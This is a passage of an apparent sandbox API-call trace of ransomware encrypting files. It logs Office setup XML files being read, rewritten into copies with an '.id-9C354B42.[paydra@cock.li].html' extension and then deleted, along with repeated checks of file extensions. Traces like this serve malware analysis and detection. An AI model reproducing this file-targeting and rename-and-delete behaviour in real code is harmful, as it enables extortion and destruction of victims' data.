lpOverlapped=0x0) returned 1 [0040.140] SetEndOfFile (hFile=0x19c) returned 1 [0040.140] CloseHandle (hObject=0x19c) returned 1 [0040.141] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.141] SetEndOfFile (hFile=0x1c8) returned 1 [0040.141] CloseHandle (hObject=0x1c8) returned 1 [0040.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.142] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0040.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.142] lstrlenW (lpString=".doc") returned 4 [0040.142] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString=".docx") returned 5 [0040.142] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.142] lstrlenW (lpString=".pdf") returned 4 [0040.142] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString=".xls") returned 4 [0040.142] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString=".xlsx") returned 5 [0040.142] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.142] lstrlenW (lpString=".ppt") returned 4 [0040.142] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.142] lstrlenW (lpString=".zip") returned 4 [0040.142] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.142] lstrlenW (lpString=".rar") returned 4 [0040.142] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString=".bz2") returned 4 [0040.142] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.142] lstrlenW (lpString=".7z") returned 3 [0040.142] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".dbf") returned 4 [0040.143] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".1cd") returned 4 [0040.143] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".jpg") returned 4 [0040.143] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".doc") returned 4 [0040.143] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString=".docx") returned 5 [0040.143] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.143] lstrlenW (lpString=".pdf") returned 4 [0040.143] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString=".xls") returned 4 [0040.143] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString=".xlsx") returned 5 [0040.143] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.143] lstrlenW (lpString=".ppt") returned 4 [0040.143] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".zip") returned 4 [0040.143] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.143] lstrlenW (lpString=".rar") returned 4 [0040.143] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString=".bz2") returned 4 [0040.143] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString=".7z") returned 3 [0040.143] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.143] lstrlenW (lpString=".dbf") returned 4 [0040.143] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.144] lstrlenW (lpString=".1cd") returned 4 [0040.144] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.144] lstrlenW (lpString=".jpg") returned 4 [0040.144] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.144] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.144] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0040.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0040.144] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3186) returned 1 [0040.144] CloseHandle (hObject=0x1c8) returned 1 [0040.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0040.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0040.145] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.145] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.779] GetLastError () returned 0x0 [0040.779] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xc72, lpOverlapped=0x0) returned 1 [0040.781] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0041.236] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.238] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.238] SetEndOfFile (hFile=0x19c) returned 1 [0041.239] CloseHandle (hObject=0x19c) returned 1 [0041.239] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.239] SetEndOfFile (hFile=0x1c8) returned 1 [0041.240] CloseHandle (hObject=0x1c8) returned 1 [0041.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.240] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString=".doc") returned 4 [0041.241] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString=".docx") returned 5 [0041.241] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.241] lstrlenW (lpString=".pdf") returned 4 [0041.241] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString=".xls") returned 4 [0041.241] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString=".xlsx") returned 5 [0041.241] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.241] lstrlenW (lpString=".ppt") returned 4 [0041.241] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString=".zip") returned 4 [0041.241] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.241] lstrlenW (lpString=".rar") returned 4 [0041.241] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString=".bz2") returned 4 [0041.241] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString=".7z") returned 3 [0041.241] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString=".dbf") returned 4 [0041.241] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString=".1cd") returned 4 [0041.241] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.241] lstrlenW (lpString=".jpg") returned 4 [0041.242] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString=".doc") returned 4 [0041.242] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString=".docx") returned 5 [0041.242] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.242] lstrlenW (lpString=".pdf") returned 4 [0041.242] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString=".xls") returned 4 [0041.242] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString=".xlsx") returned 5 [0041.242] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.242] lstrlenW (lpString=".ppt") returned 4 [0041.242] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString=".zip") returned 4 [0041.242] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.242] lstrlenW (lpString=".rar") returned 4 [0041.242] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString=".bz2") returned 4 [0041.242] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString=".7z") returned 3 [0041.242] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString=".dbf") returned 4 [0041.242] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString=".1cd") returned 4 [0041.242] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.242] lstrlenW (lpString=".jpg") returned 4 [0041.242] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.243] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.243] lstrlenW (lpString="Proofing.XML") returned 12 [0041.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.392] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=811) returned 1 [0041.392] CloseHandle (hObject=0x1c0) returned 1 [0041.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0041.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.392] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.393] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.393] GetLastError () returned 0x0 [0041.393] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x32b, lpOverlapped=0x0) returned 1 [0041.411] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x330, lpOverlapped=0x0) returned 1 [0041.412] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.412] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.412] SetEndOfFile (hFile=0x180) returned 1 [0041.413] CloseHandle (hObject=0x180) returned 1 [0041.413] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.413] SetEndOfFile (hFile=0x1c0) returned 1 [0041.414] CloseHandle (hObject=0x1c0) returned 1 [0041.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.414] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0041.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.414] lstrlenW (lpString=".doc") returned 4 [0041.414] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.414] lstrlenW (lpString=".docx") returned 5 [0041.414] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0041.414] lstrlenW (lpString=".pdf") returned 4 [0041.415] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xls") returned 4 [0041.415] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xlsx") returned 5 [0041.415] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0041.415] lstrlenW (lpString=".ppt") returned 4 [0041.415] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString=".zip") returned 4 [0041.415] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.415] lstrlenW (lpString=".rar") returned 4 [0041.415] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".bz2") returned 4 [0041.415] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".7z") returned 3 [0041.415] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString=".dbf") returned 4 [0041.415] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString=".1cd") returned 4 [0041.415] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString=".jpg") returned 4 [0041.415] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.415] lstrlenW (lpString=".doc") returned 4 [0041.415] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".docx") returned 5 [0041.415] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0041.415] lstrlenW (lpString=".pdf") returned 4 [0041.415] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xls") returned 4 [0041.415] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xlsx") returned 5 [0041.416] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0041.416] lstrlenW (lpString=".ppt") returned 4 [0041.416] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.416] lstrlenW (lpString=".zip") returned 4 [0041.416] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.416] lstrlenW (lpString=".rar") returned 4 [0041.416] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".bz2") returned 4 [0041.416] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".7z") returned 3 [0041.416] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.416] lstrlenW (lpString=".dbf") returned 4 [0041.416] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.416] lstrlenW (lpString=".1cd") returned 4 [0041.416] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0041.416] lstrlenW (lpString=".jpg") returned 4 [0041.416] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.502] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.502] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0041.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.503] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1450) returned 1 [0041.503] CloseHandle (hObject=0x20c) returned 1 [0041.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0041.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.503] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.503] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, 